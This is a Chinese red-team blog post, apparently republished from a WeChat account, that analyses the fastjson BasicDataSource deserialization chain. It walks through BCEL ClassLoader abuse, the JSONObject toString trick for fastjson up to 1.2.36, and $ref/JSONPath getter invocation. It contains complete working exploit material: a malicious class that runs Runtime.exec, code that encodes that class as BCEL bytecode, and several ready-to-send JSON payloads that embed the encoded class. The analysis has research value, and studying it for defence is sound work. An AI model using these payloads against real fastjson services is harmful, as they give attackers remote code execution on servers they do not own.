红队漏洞研究-fastjsonBasicDataSource链分析

渗透技巧 2年前 (2022) admin
642 0 0
红队漏洞研究-fastjsonBasicDataSource链分析

点击上方“蓝字”,关注更多精彩


红队漏洞研究-fastjsonBasicDataSource链分析

BCEL

BCEL的全名是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,CC链也就是从Apache Commons产生的。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。主要用来将xml文档转为class文件。编译后的class被称为translet,可以在后续用于对XML文件的转换。该库已经内置在了JDK中。关于BCEL具体详情可参考https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html


红队漏洞研究-fastjsonBasicDataSource链分析
红队漏洞研究-fastjsonBasicDataSource链分析

如何利用BCEL进行命令执行

BCEL中有一个类com.sun.org.apache.bcel.internal.util.ClassLoader,是一个ClassLoader,重写了loadClass方法。在ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。红队漏洞研究-fastjsonBasicDataSource链分析

首先编写一个恶意类

package com.darkerbox.bcel;

public class Evil {
   static {
       try {
           Runtime.getRuntime().exec("calc.exe");
      } catch (Exception e) {
           e.printStackTrace();
      }
  }
}

然后将该类生成为BCEL格式的字节码,使用这个字节码来新建对象,执行命令。

package com.darkerbox.bcel;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;

public class BcelTest {
 public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
     JavaClass cls = Repository.lookupClass(Evil.class);
     String code = Utility.encode(cls.getBytes(),true);
     System.out.println("$$BCEL$$"+code);
     // 加载类并实例化
     new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}
}

我本地使用到的依赖。

<dependency>
   <groupId>com.alibaba</groupId>
   <artifactId>fastjson</artifactId>
   <version>1.2.24</version>
</dependency>
<dependency>
   <groupId>org.apache.tomcat</groupId>
   <artifactId>tomcat-dbcp</artifactId>
   <version>9.0.20</version>
</dependency>

红队漏洞研究-fastjsonBasicDataSource链分析

在fastjson中的利用

先看看POC

package com.darkerbox.bcel;

import com.alibaba.fastjson.JSON;

public class test {
 public static void main(String[] args) {
   String payload =
       "{n"
           + "   {n"
           + "       "aaa": {n"
           + "               "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",n"
           + "               "driverClassLoader": {n"
           + "                   "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"n"
           + "               },n"
           + "               "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"n"
           + "       }n"
           + "   }:"xxx"n"
           + "}";
   JSON.parse(payload);
}
}

利用的是BasicDataSource类。依赖tomcat-dbcp,直接看利用链。利用链没有太乱,比较简单。

BasicDataSource.getConnection() > createDataSource() > createConnectionFactory()

首先调用的是getConnection方法,然后createDataSource,进入createConnectionFactory

protected ConnectionFactory createConnectionFactory() throws SQLException {
   Driver driverToUse = this.driver;
   if (driverToUse == null) {
       Class<?> driverFromCCL = null;
       String message;
       if (this.driverClassName != null) {
           try {
               try {
                   if (this.driverClassLoader == null) {
                       driverFromCCL = Class.forName(this.driverClassName);
                  } else {
                  // 这里的driverClassName和driverClassLoader是可控的。
                       driverFromCCL = Class.forName(this.driverClassName, true, this.driverClassLoader);
                  }
              } catch (ClassNotFoundException var5) {
                   driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(this.driverClassName);
              }
          }
       // 省略...
}

可控driverClassNamedriverClassLoader,该如何去利用?

上面说到过BCEL的ClassLoader。这个ClassLoader会直接从 classname 中提取 Class 的 字节码。那么我们就可以设置driverClassLoadercom.sun.org.apache.bcel.internal.util.ClassLoader,设置driverClassName为恶意的BCEL格式的字节码。

setDriverClassLoader对应代码如下

public synchronized void setDriverClassLoader(ClassLoader driverClassLoader) {
  this.driverClassLoader = driverClassLoader;
}

setDriverClassName对应代码如下

public synchronized void setDriverClassName(String driverClassName) {
  if (driverClassName != null && driverClassName.trim().length() > 0) {
      this.driverClassName = driverClassName;
  } else {
      this.driverClassName = null;
  }
}

到这里就会明白POC了。

如何调用getConnection的?

上面其实有很多细节没有提到。fastjson中是如何调用BasicDataSourcegetConnection方法的呢?

FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。— 引用https://jlkl.github.io/2021/12/18/Java_07/

上面说的条件:返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法

很显然的是getConnection方法是不符合的,返回值类型为Connection。所以正常来说在 FastJson 反序列化的过程中并不会被调用。

通过JSONObject调用(fastjson<=1.2.36)

再看看上面的POC

{
  {
       "aaa": {
               "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
               "driverClassLoader": {
                   "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
              },
               "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
      }
  }:"xxx"
}

这个POC利用了JSONObject#toString方法来执行了getConnection方法。具体如下。

首先在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},这样的话会把这个整体当做一个JSONObject,会把这个当做key,值为xxx。

DefaultJSONParser.parseObject方法后面会调用key的toString方法红队漏洞研究-fastjsonBasicDataSource链分析key为JSONObject对象,会调用该对象的toString方法。而且JSONObject是Map的子类,当调用toString的时候,会依次调用该类的getter方法获取值。然后会以字符串的形式输出出来。所以会调用到getConnection方法。

POC最完整的写法应该是

{
  {
       "@type": "com.alibaba.fastjson.JSONObject",
       "aaa":{
               "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
               "driverClassLoader": {
                   "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
              },
               "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
      }
  }: "xxx"
}

如果目标环境使用的是JSON.parseObject方法,那就不用这么麻烦了,与 parse() 相比,parseObject() 会额外的将 Java 对象转为 JSONObject 对象,即调用 JSON.toJSON(),在处理过程中会调用所有的 setter 和 getter 方法。

可直接使用下面的POC。

{
   "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
   "driverClassLoader": {
       "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
  },
   "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
}

为什么有版本限制?

此利用链只能应用于fastjson<=1.2.36,在1.2.37版本中,直接去掉了key.toString方法。

红队漏洞研究-fastjsonBasicDataSource链分析


通过$ref进行调用(fastjson>=1.2.36)

什么是ref

ref是fastjson特有的JSONPath语法,用来引用之前出现的对象

什么是JSONPath

fastjson支持JSONPath语法。什么是JSONPath可以参考:传送门

举一个例子,User.java

package com.darkerbox.ref;

import java.io.IOException;

public class User {
   private String cmd;
   private String test;

   public String getTest() {
       return test;
  }

   public void setTest(String test) {
       this.test = test;
  }

   public String getCmd() throws IOException {
       Runtime.getRuntime().exec(cmd);
       return cmd;
  }

   public void setCmd(String cmd) {
       this.cmd = cmd;
  }
}

触发反序列化

package com.darkerbox.ref;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class BCEL_ref {
   public static void main(String[] args) {
       ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
   String payload =
       "[{"@type":"com.darkerbox.ref.User","cmd":"calc.exe"},{"@type":"com.darkerbox.ref.User","cmd":"notepad.exe","test":"test"},{"$ref":"$[1].cmd"}]";

       Object o = JSON.parse(payload);
  }
}

这里主要了解一下payload

[
  {
       "@type": "com.darkerbox.ref.User",
       "cmd": "calc.exe"
  },
  {
       "@type": "com.darkerbox.ref.User",
       "cmd": "notepad.exe",
       "test": "test"
  },
  {
       "$ref": "$[1].cmd"
  }
]

整体来说,这其实就是一个数组,fastjson解析到$ref会判断为是一个引用,$[1]表示的是数组里的第二个元素,可以看到第二个元素是一个User对象。则$[1].cmd表示的是获取第二个元素的cmd属性的值。红队漏洞研究-fastjsonBasicDataSource链分析可以看到代码中的对象o是一个JSONArray对象,其中有一个list属性,里面包含着三个元素,就是payload里的三个元素。可以看到第三个元素的值为notepad.exe,即第二个元素的cmd属性的值。

这里就涉及到一个问题,底层是怎么获取到的第二个元素对象的值呢?没错,他就是通过反射调用了这个属性的getter方法来获取值。

通过这个例子来简单分析一下

截取DefaultJSONParse#parseObejct部分代码

if (key == "$ref" && context != null && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    // 省略...
    if ("@".equals(typeName)) {
       // 省略...
    } else if ("..".equals(typeName)) {
        if (context.object != null) {
            refValue = context.object;
        } else {
            this.addResolveTask(new DefaultJSONParser.ResolveTask(context, typeName));
            this.setResolveStatus(1);
        }
    } else if ("$".equals(typeName)) {
        for(rootContext = context; rootContext.parent != null; rootContext = rootContext.parent) {
        }

        if (rootContext.object != null) {
            refValue = rootContext.object;
        } else {
            this.addResolveTask(new DefaultJSONParser.ResolveTask(rootContext, typeName));
            this.setResolveStatus(1);
        }
    } else { // 最后进入这里,添加一个ResolveTask。
        this.addResolveTask(new DefaultJSONParser.ResolveTask(context, typeName));
        this.setResolveStatus(1);
    }

    // 省略...
}

最终执行完parse方法,才会去执行ResolveTask。如下图红队漏洞研究-fastjsonBasicDataSource链分析这里我们跟进去handleResovleTask

public void handleResovleTask(Object value) {
   if (this.resolveTaskList != null) {
       int i = 0;

       for(int size = this.resolveTaskList.size(); i < size; ++i) {
           DefaultJSONParser.ResolveTask task = (DefaultJSONParser.ResolveTask)this.resolveTaskList.get(i);
           String ref = task.referenceValue; // 获取ref值:$[1].cmd
           Object object = null;
           if (task.ownerContext != null) {
          // 这里的Object获取的是上面提到过的JSONArray
          // 只不过里面只有两个元素(都是User对象),没有第三个元素
               object = task.ownerContext.object;
               
          }

           Object refValue;
           if (ref.startsWith("$")) { // 第一个判断
               refValue = this.getObject(ref); // 这里refValue为null,有兴趣可以跟进里面看看,代码不多
               if (refValue == null) {// 进入if
                   try {
                  // 这里来解析JSONPath语法,跟踪eval方法
                       refValue = JSONPath.eval(object, ref);
                  } catch (JSONPathException var10) {
                  }
              }
          } else {
               refValue = task.context.object;
          }
           // 省略...
      }
  }
}

JSONPath.java

public static Object eval(Object rootObject, String path) {
   JSONPath jsonpath = compile(path); // 这里会通过path返回一个JSONPath对象
   return jsonpath.eval(rootObject); // 跟踪eval方法
}

JSONPath.java

public Object eval(Object rootObject) {
  if (rootObject == null) {
       return null;
  } else {
  // 这里会初始化this.segments(是个数组)
  // 数组有两个元素,分别为JSONPath$ArrayAccessSegement和JSONPath$PropertySegement。
       this.init();
       Object currentObject = rootObject;

       for(int i = 0; i < this.segments.length; ++i) {
           JSONPath.Segement segement = this.segments[i];
           // 依次调用eval方法。这里要跟进第二个segement的eval方法
           currentObject = segement.eval(this, rootObject, currentObject);
      }

       return currentObject;
  }
}

在eval方法中调用getPropertyValue方法,跟进去之后跟踪getFieldValue方法。然后跟进getPropertyValue方法。此时代码如下

FieldSerializer.java

public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
// this.fieldInfo的name值为cmd
// 跟进get方法
   Object propertyValue = this.fieldInfo.get(object);
   if (this.format != null && propertyValue != null && this.fieldInfo.fieldClass == Date.class) {
       SimpleDateFormat dateFormat = new SimpleDateFormat(this.format);
       dateFormat.setTimeZone(JSON.defaultTimeZone);
       return dateFormat.format(propertyValue);
  } else {
       return propertyValue;
  }
}

FieldInfo.java

public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
   // 这里的this.method为getCmd
   // 然后会通过反射的方法调用getCmd方法。最终完成了命令执行。
   return this.method != null ? this.method.invoke(javaObject) : this.field.get(javaObject);
}

更详细的分析流程参考https://blog.csdn.net/solitudi/article/details/120275526

为什么有版本限制?

此方法只能应用于fastjson>1.2.36的版本。

在>=1.2.36的版本中,需要refValue不为null,并且refValue必须是JSONObject类。如下图

红队漏洞研究-fastjsonBasicDataSource链分析

参考

BCEL:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

fastjon中BasicDataSource的利用:https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

toString方法:https://ccship.cn/2021/12/21/fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bbasicdatasource%E5%88%A9%E7%94%A8%E9%93%BE/

如何调用getConnection:https://jlkl.github.io/2021/12/18/Java_07/

$ref详解:https://paper.seebug.org/1613/

fastjson ref利用:https://blog.csdn.net/solitudi/article/details/120275526

JSONPath语法:https://blog.csdn.net/itguangit/article/details/78764212

红队漏洞研究-fastjsonBasicDataSource链分析


红队漏洞研究-fastjsonBasicDataSource链分析

END

红队漏洞研究-fastjsonBasicDataSource链分析


红队漏洞研究-fastjsonBasicDataSource链分析


看完记得点赞,关注哟,爱您!


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!



关注此公众号,回复”Gamma”关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!

在看你就赞赞我!
红队漏洞研究-fastjsonBasicDataSource链分析
红队漏洞研究-fastjsonBasicDataSource链分析
红队漏洞研究-fastjsonBasicDataSource链分析
红队漏洞研究-fastjsonBasicDataSource链分析
扫码关注我们
红队漏洞研究-fastjsonBasicDataSource链分析


扫码领hacker资料,常用工具,以及各种福利


红队漏洞研究-fastjsonBasicDataSource链分析

转载是一种动力 分享是一种美德


原文始发于微信公众号(Gamma实验室):红队漏洞研究-fastjsonBasicDataSource链分析

版权声明:admin 发表于 2022年2月16日 上午8:00。
转载请注明:红队漏洞研究-fastjsonBasicDataSource链分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...